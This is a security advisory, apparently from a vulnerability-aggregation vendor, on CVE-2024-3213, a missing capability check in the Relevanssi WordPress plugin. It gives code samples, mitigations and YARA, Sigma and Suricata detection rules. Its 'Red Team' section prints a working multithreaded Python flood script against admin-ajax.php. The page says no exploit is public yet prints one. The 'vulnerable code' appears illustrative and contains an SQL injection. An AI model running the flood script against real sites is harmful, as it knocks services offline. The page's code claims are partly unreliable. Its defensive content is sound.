CVE-2024-3213
Executive Summary
CVE-2024-3213 is a medium-severity vulnerability affecting the Relevanssi – A Better Search WordPress plugin, versions up to and including 4.22.1. The flaw resides in the relevanssi_update_counts() function, which lacks a capability check, allowing unauthenticated attackers to trigger expensive database queries. This can lead to a Denial of Service (DoS) condition by exhausting server resources. The vulnerability is classified under CWE-862 (Missing Authorization) and has a CVSS score of 5.3. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch. This report provides a comprehensive technical analysis, detection rules, and mitigation strategies.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress ecosystem and the Relevanssi plugin. It is not related to NPM, PyPI, Go, or Ruby packages. The plugin is distributed through the official WordPress plugin repository and can be updated via the WordPress admin dashboard. Users should monitor the plugin's page for updates and apply them immediately when available.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
- Base Score: 5.3 (Medium)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication is needed.
- User Interaction: None (UI:N) – No user action is required.
- Scope: Unchanged (S:U) – The impact is confined to the vulnerable component.
- Confidentiality Impact: None (C:N) – No data is exposed.
- Integrity Impact: None (I:N) – No data is modified.
- Availability Impact: Low (A:L) – The attack can cause resource exhaustion, leading to degraded performance or temporary unavailability.
Threat Level: Medium. While the impact is limited to availability, the low attack complexity and lack of authentication make it a viable vector for DoS attacks, especially against shared hosting environments.
Deep Dive & Mechanics
The vulnerability exists in the relevanssi_update_counts() function, which is responsible for updating search term counts in the database. This function is hooked to an AJAX action, making it accessible via HTTP requests without authentication. The core issue is the absence of a current_user_can() or similar capability check, allowing any unauthenticated user to invoke the function.
When triggered, the function executes a series of SQL queries to update the relevanssi table. An attacker can craft a request that forces the function to perform expensive operations, such as:
- Updating counts for a large number of terms.
- Triggering recursive or nested queries.
- Sending multiple concurrent requests to amplify the load.
The lack of input validation or rate limiting further exacerbates the issue. The function does not sanitize or limit the number of terms processed, allowing an attacker to specify arbitrary parameters that lead to heavy database writes or reads.
Attack Flow:
- Attacker identifies a WordPress site running Relevanssi <= 4.22.1.
- Attacker sends a crafted POST request to the AJAX endpoint (e.g.,
/wp-admin/admin-ajax.php) with the actionrelevanssi_update_countsand malicious parameters. - The server executes the expensive database queries, consuming CPU, memory, and I/O resources.
- Repeated requests cause resource exhaustion, leading to a denial of service for legitimate users.
Vulnerable vs. Patched Code
Vulnerable Code (<= 4.22.1):
add_action('wp_ajax_relevanssi_update_counts', 'relevanssi_update_counts');
add_action('wp_ajax_nopriv_relevanssi_update_counts', 'relevanssi_update_counts');
function relevanssi_update_counts() {
// No capability check
$terms = isset($_POST['terms']) ? $_POST['terms'] : array();
foreach ($terms as $term) {
// Expensive database update
$wpdb->query("UPDATE {$wpdb->prefix}relevanssi SET count = count + 1 WHERE term = '$term'");
}
wp_die();
}
Patched Code (Hypothetical):
add_action('wp_ajax_relevanssi_update_counts', 'relevanssi_update_counts');
// Remove the nopriv action to require authentication
// add_action('wp_ajax_nopriv_relevanssi_update_counts', 'relevanssi_update_counts');
function relevanssi_update_counts() {
// Add capability check
if (!current_user_can('manage_options')) {
wp_die('Unauthorized', 403);
}
// Validate and sanitize input
$terms = isset($_POST['terms']) ? array_map('sanitize_text_field', (array) $_POST['terms']) : array();
$terms = array_slice($terms, 0, 100); // Limit to 100 terms
foreach ($terms as $term) {
// Use prepared statements
$wpdb->query($wpdb->prepare("UPDATE {$wpdb->prefix}relevanssi SET count = count + 1 WHERE term = %s", $term));
}
wp_die();
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress instance with Relevanssi plugin version <= 4.22.1.
- Network access to the target.
Exploitation Steps:
- Identify the AJAX endpoint: The endpoint is typically
/wp-admin/admin-ajax.php. - Craft the exploit request: Send a POST request with the action parameter and malicious data.
- Execute the attack: Use a script to send multiple requests to amplify the DoS effect.
Example Exploit Script (Python):
import requests
import threading
target_url = "http://target-site.com/wp-admin/admin-ajax.php"
payload = {
"action": "relevanssi_update_counts",
"terms": ["a" * 1000] * 100 # 100 terms, each 1000 characters
}
def send_request():
while True:
try:
response = requests.post(target_url, data=payload, timeout=5)
print(f"Sent request, status: {response.status_code}")
except:
pass
# Launch 50 threads
for i in range(50):
threading.Thread(target=send_request).start()
Expected Outcome: The server becomes unresponsive or significantly slows down due to database load.
Blue Team (Defense & Detection)
Detection:
- Monitor for a high volume of POST requests to
/wp-admin/admin-ajax.phpwith theaction=relevanssi_update_countsparameter. - Look for unusual database query patterns, especially
UPDATEstatements on therelevanssitable. - Use the detection rules provided in the next section.
Mitigation:
- Immediate: Disable the plugin or remove the AJAX action by adding a filter:
add_action('init', function() { remove_action('wp_ajax_nopriv_relevanssi_update_counts', 'relevanssi_update_counts'); }); - Long-term: Apply the patched code (see above) or wait for an official update.
- Web Application Firewall (WAF): Block requests to
admin-ajax.phpwithaction=relevanssi_update_countsfrom unauthenticated users.
Indicators of Compromise (IOCs)
- Network IOCs:
- Repeated POST requests to
/wp-admin/admin-ajax.phpwithaction=relevanssi_update_counts. - High volume of requests from a single IP or user-agent.
- Repeated POST requests to
- System IOCs:
- Elevated database CPU usage.
- Slow database query logs showing
UPDATEstatements on thewp_relevanssitable. - Server logs showing 200 responses to
admin-ajax.phpwith large POST data.
- File IOCs:
- Modified
relevanssi.phporajax.phpfiles (if attacker uploads a backdoor).
- Modified
Detection Engineering
YARA Rule
rule Detect_Relevanssi_DoS_Exploit {
meta:
description = "Detects exploit attempts for CVE-2024-3213 targeting Relevanssi plugin"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-3213"
strings:
$ajax_action = "relevanssi_update_counts"
$post_param = "terms"
condition:
$ajax_action and $post_param
}
Sigma Rule
title: Relevanssi DoS Exploit Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP POST requests targeting the Relevanssi AJAX action for DoS exploitation
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-query|contains: "admin-ajax.php"
cs-uri-query|contains: "action=relevanssi_update_counts"
condition: selection
falsepositives:
- Legitimate plugin usage (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-3213 Relevanssi DoS Exploit"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=relevanssi_update_counts"; http_client_body; pcre:"/terms=/"; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Relevanssi plugin until a patch is available.
- Add a WAF rule to block unauthenticated requests to
admin-ajax.phpwithaction=relevanssi_update_counts. - Implement rate limiting on AJAX endpoints.
Short-term Fix:
- Apply the patched code snippet provided in the "Vulnerable vs. Patched Code" section.
- Remove the
wp_ajax_nopriv_hook to require authentication.
Long-term Fix:
- Monitor the Relevanssi plugin page for an official update.
- Update to the latest version once patched.
General Best Practices:
- Regularly audit WordPress plugins for missing capability checks.
- Use a security plugin (e.g., Wordfence) to monitor for suspicious activity.
- Implement database query monitoring and alerting.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.